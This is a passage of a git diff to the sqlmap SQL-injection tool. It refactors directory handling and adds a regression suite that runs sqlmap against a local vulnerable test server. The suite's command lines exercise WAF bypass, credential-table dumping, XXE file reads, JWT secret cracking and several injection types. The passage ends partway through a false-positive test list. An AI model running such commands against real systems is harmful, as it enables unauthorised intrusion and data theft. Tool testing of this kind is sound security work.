UNICODE_ENCODING, buffering=0) + warnMsg += "Using temporary file '%s' instead" % conf.resultsFile + logger.warning(warnMsg) + except IOError as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) - conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep) + if not found: + conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) - logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) + logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile) def _createFilesDir(): """ Create the file directory. """ - if not conf.rFile: + if not any((conf.fileRead, conf.commonFiles, conf.xxe)): return - conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname + # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) + conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname)) if not os.path.isdir(conf.filePath): try: - os.makedirs(conf.filePath, 0755) - except OSError, ex: + os.makedirs(conf.filePath) + except OSError as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) conf.filePath = tempDir @@ -568,26 +689,24 @@ def _createDumpDir(): if not conf.dumpTable and not conf.dumpAll and not conf.search: return - conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname + # Note: normalize the hostname the same way _createTargetDirs() builds conf.outputPath, so a + # non-ASCII (IDN) target keeps its dump under the same per-host tree as the session/log/target.txt + conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.dumpPath): try: - os.makedirs(conf.dumpPath, 0755) - except OSError, ex: + os.makedirs(conf.dumpPath) + except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) conf.dumpPath = tempDir def _configureDumper(): - if hasattr(conf, 'xmlFile') and conf.xmlFile: - conf.dumper = xmldumper - else: - conf.dumper = dumper - + conf.dumper = dumper conf.dumper.setOutputFile() def _createTargetDirs(): @@ -595,70 +714,52 @@ def _createTargetDirs(): Create the output directory. """ - if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): - try: - if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) - warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH - logger.warn(warnMsg) - except (OSError, IOError), ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - except Exception, _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) - - warnMsg = "unable to create regular output directory " - warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) - - paths.SQLMAP_OUTPUT_PATH = tempDir - conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) - if not os.path.isdir(conf.outputPath): - try: - os.makedirs(conf.outputPath, 0755) - except (OSError, IOError), ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - except Exception, _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) + try: + if not os.path.isdir(conf.outputPath): + os.makedirs(conf.outputPath) + except (OSError, IOError, TypeError) as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") + warnMsg = "unable to create output directory " + warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) + logger.warning(warnMsg) - warnMsg = "unable to create output directory " - warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + conf.outputPath = tempDir - conf.outputPath = tempDir + conf.outputPath = getUnicode(conf.outputPath) try: - with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f: - f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) + with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f: + f.write(getUnicode(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) + f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) if conf.data: f.write("\n\n%s" % getUnicode(conf.data)) - except IOError, ex: + except IOError as ex: if "denied" in getUnicode(ex): errMsg = "you don't have enough permissions " else: errMsg = "something went wrong while trying " - errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, ex) + errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex)) raise SqlmapMissingPrivileges(errMsg) + except UnicodeError as ex: + warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex) + logger.warning(warnMsg) _createDumpDir() _createFilesDir() _configureDumper() +def _setAuxOptions(): + """ + Setup auxiliary (host-dependent) options + """ + + kb.aliasName = randomStr(seed=hash(conf.hostname or "")) + def _restoreMergedOptions(): """ Restore merged options (command line, configuration file and default values) @@ -680,6 +781,9 @@ def initTargetEnv(): if conf.cj: resetCookieJar(conf.cj) + threadData = getCurrentThreadData() + threadData.reset() + conf.paramDict = {} conf.parameters = {} conf.hashDBFile = None @@ -689,7 +793,7 @@ def initTargetEnv(): _setDBMS() if conf.data: - class _(unicode): + class _(six.text_type): pass kb.postUrlEncode = True @@ -705,6 +809,18 @@ class _(unicode): setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original + if conf.data and unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: + if '=' not in conf.data.strip('='): + try: + original = conf.data + conf.data = _(decodeBase64(conf.data, binary=False)) + setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) + except: + pass + + match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders)) + kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR + def setupTargetEnv(): _createTargetDirs() _setRequestParams() @@ -712,3 +828,4 @@ def setupTargetEnv(): _resumeHashDBValues() _setResultsFile() _setAuthCred() + _setAuxOptions() diff --git a/lib/core/testing.py b/lib/core/testing.py index 8339cbc32ed..f7efb96fc6a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,322 +1,791 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs import doctest +import json +import logging import os +import random import re import shutil +import socket +import sqlite3 +import subprocess import sys import tempfile +import threading import time -import traceback -from extra.beep.beep import beep -from lib.controller.controller import start +from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout -from lib.core.common import getUnicode +from lib.core.common import getSafeExString +from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readXmlFile +from lib.core.common import shellExec +from lib.core.compat import round +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths -from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapNotVulnerableException -from lib.core.log import LOGGER_HANDLER -from lib.core.option import init -from lib.core.option import initOptions -from lib.core.option import setVerbosity -from lib.core.optiondict import optDict -from lib.core.settings import UNICODE_ENCODING -from lib.parse.cmdline import cmdLineParser - -class Failures(object): - failedItems = None - failedParseOn = None - failedTraceBack = None +from lib.core.data import queries +from lib.core.patch import unisonRandom +from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_VERSION -def smokeTest(): +def vulnTest(tests=None, label="vuln"): """ - Runs the basic smoke testing of a program + Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS) """ + TESTS = tests if tests is not None else ( + ("-h", ("to see full list of options run with '-hh'",)), + ("--dependencies", ("sqlmap requires", "third-party library")), + ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), + ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), + ("-u --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # session resume (1/2): detect + STORE the injection into the (serialized) session + ("-u --technique=B --banner", ("sqlmap resumed the following injection point(s) from stored session", "Type: boolean-based blind", "banner: '3.")), # session resume (2/2): NO --flush-session, so the injection must round-trip back OUT of the serialized session and still work (guards session serialization/deserialization end-to-end) + (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), + ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), + ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), + ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), + ("--list-tampers", ("between", "MySQL", "xforwardedfor")), + ("-u \"&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint) + ("-u --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection) + ("-u --data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent + ("-u --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold + ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does + ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat + ("-u -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-u --mine-params --flush-session --technique=B", ("mining for hidden GET parameters", "found hidden parameter 'id'", "held back parameter(s) that break the base request", "Parameter: id (GET)", "Type: boolean-based blind")), # --mine-params: discover an injectable parameter absent from a bare URL, hold back the raw-SQL sink that would shadow it, then confirm the injection on the mined 'id' + ("-u \"ratelimit?id=1\" --flush-session --technique=B", ("target appears to be rate-limiting", "Parameter: id (GET)", "Type: boolean-based blind")), # adaptive rate-limit handling: the endpoint answers 429 with 'Retry-After' first, so detection only succeeds if sqlmap honors the backoff, throttles, and retries rather than treating 429 as a hard block + ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), + ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), + ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), + ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), + ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), + ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), + ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), + ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), + ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), + ("-u --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), + ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), + ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), + ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), + ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), + ("-u --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=U --fresh-queries --force-partial --disable-json --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("LIMIT 0,1)", "nameisnull", "~using default dictionary", "dumped to HTML file")), + ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), + ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor + ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), + ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), + ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing + ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction + ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe + ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u \"jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection + ("-u --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted) + ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read + ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), + ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), + ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")), + ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), + ) + + # The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where + # those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip + # just those entries instead of failing the whole run - the rest of the suite is unaffected. + try: + __import__("lxml") + except ImportError: + TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0]) + logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)") + try: + __import__("jinja2") + except ImportError: + TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0]) + logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)") + + # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change: + # the needle is matched case-insensitively against each entry's command line and its expected + # checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry). + def _entryMatches(entry, needle): + needle = needle.lower() + return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1]) + + if conf.get("testFilter"): + TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter)) + logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + if conf.get("testSkip"): + TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip)) + logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + retVal = True - count, length = 0, 0 + count = 0 + cleanups = [] - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue + while True: + address, port = "127.0.0.1", random.randint(10000, 65535) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if s.connect_ex((address, port)): + break + else: + time.sleep(1) + finally: + s.close() - for ifile in files: - length += 1 + def _thread(): + vulnserver.init(quiet=True) + vulnserver.run(address=address, port=port) - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue + vulnserver._alive = True - for ifile in files: - if os.path.splitext(ifile)[1].lower() == ".py" and ifile != "__init__.py": - path = os.path.join(root, os.path.splitext(ifile)[0]) - path = path.replace(paths.SQLMAP_ROOT_PATH, '.') - path = path.replace(os.sep, '.').lstrip('.') - try: - __import__(path) - module = sys.modules[path] - except Exception, msg: - retVal = False - dataToStdout("\r") - errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, ifile), msg) - logger.error(errMsg) - else: - # Run doc tests - # Reference: http://docs.python.org/library/doctest.html - (failure_count, test_count) = doctest.testmod(module) - if failure_count > 0: - retVal = False + thread = threading.Thread(target=_thread) + thread.daemon = True + thread.start() - count += 1 - status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + while vulnserver._alive: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((address, port)) + s.sendall(b"GET / HTTP/1.1\r\n\r\n") + result = b"" + while True: + current = s.recv(1024) + if not current: + break + else: + result += current + if b"vulnserver" in result: + break + except: + pass + finally: + s.close() + time.sleep(1) - clearConsoleLine() - if retVal: - logger.info("smoke test final result: PASSED") + if not vulnserver._alive: + logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port)) + return False else: - logger.error("smoke test final result: FAILED") + logger.info("vulnserver running at 'http://%s:%s'..." % (address, port)) - return retVal + handle, config = tempfile.mkstemp(suffix=".conf") + os.close(handle) + cleanups.append(config) -def adjustValueType(tagName, value): - for family in optDict.keys(): - for name, type_ in optDict[family].items(): - if type(type_) == tuple: - type_ = type_[0] - if tagName == name: - if type_ == "boolean": - value = (value == "True") - elif type_ == "integer": - value = int(value) - elif type_ == "float": - value = float(value) - break - return value + handle, database = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + cleanups.append(database) -def liveTest(): - """ - Runs the test of a program against the live testing environment - """ + with sqlite3.connect(database) as conn: + c = conn.cursor() + c.executescript(vulnserver.SCHEMA) - retVal = True - count = 0 - global_ = {} - vars_ = {} - - livetests = readXmlFile(paths.LIVE_TESTS_XML) - length = len(livetests.getElementsByTagName("case")) - - element = livetests.getElementsByTagName("global") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value")) - - element = livetests.getElementsByTagName("vars") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - var = child.getAttribute("value") - vars_[child.tagName] = randomStr(6) if var == "random" else var - - for case in livetests.getElementsByTagName("case"): - parse_from_console_output = False - count += 1 - name = None - parse = [] - switches = dict(global_) - value = "" - vulnerable = True - result = None + handle, request = tempfile.mkstemp(suffix=".req") + os.close(handle) + cleanups.append(request) - if case.hasAttribute("name"): - name = case.getAttribute("name") + handle, log = tempfile.mkstemp(suffix=".log") + os.close(handle) + cleanups.append(log) - if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)): - continue + handle, multiple = tempfile.mkstemp(suffix=".lst") + os.close(handle) + cleanups.append(multiple) + + content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) + with open(request, "w+") as f: + f.write(content) + f.flush() + + content = '%d' % (port, encodeBase64(content, binary=False)) + with open(log, "w+") as f: + f.write(content) + f.flush() + + base = "http://%s:%d/" % (address, port) + url = "%s?id=1" % base + direct = "sqlite3://%s" % database + tmpdir = tempfile.mkdtemp() + + with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: + content = f.read().replace("url =", "url = %s" % url) + + with open(config, "w+") as f: + f.write(content) + f.flush() + + content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()) + with open(multiple, "w+") as f: + f.write(content) + f.flush() + + for options, checks in TESTS: + status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) + + if IS_WIN and "uraj" in options: + options = options.replace(u"\u0161u\u0107uraj", "sucuraj") + checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] + + for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): + options = options.replace(tag, value) + + cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + + if "" in cmd: + handle, tmp = tempfile.mkstemp() + os.close(handle) + cleanups.append(tmp) + cmd = cmd.replace("", tmp) - if case.getElementsByTagName("switches"): - for child in case.getElementsByTagName("switches")[0].childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - value = replaceVars(child.getAttribute("value"), vars_) - switches[child.tagName] = adjustValueType(child.tagName, value) + os.environ["SQLMAP_UNSAFE_EVAL"] = '1' - if case.getElementsByTagName("parse"): - for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"): - if item.hasAttribute("value"): - value = replaceVars(item.getAttribute("value"), vars_) + output = shellExec(cmd) - if item.hasAttribute("console_output"): - parse_from_console_output = bool(item.getAttribute("console_output")) + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % output, coloring=False) + retVal = False - parse.append((value, parse_from_console_output)) + count += 1 + + clearConsoleLine() + if retVal: + logger.info("%s test final result: PASSED" % label) + else: + logger.error("%s test final result: FAILED" % label) - conf.verbose = global_.get("verbose", 1) - setVerbosity() + for filename in cleanups: + try: + os.remove(filename) + except: + pass + + try: + shutil.rmtree(tmpdir) + except: + pass + + return retVal + +def fpTest(): + """ + On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that + each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware + comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics), + paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin. + Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'. + """ + + FP_TESTS = ( + # false-positive traps -> sqlmap MUST NOT flag these as injectable + ("-u \"fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives + ("-u \"fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison + ("-u \"fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true) + ("-u \"fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling + ("-u \"fp?trap=errors&id=1\" 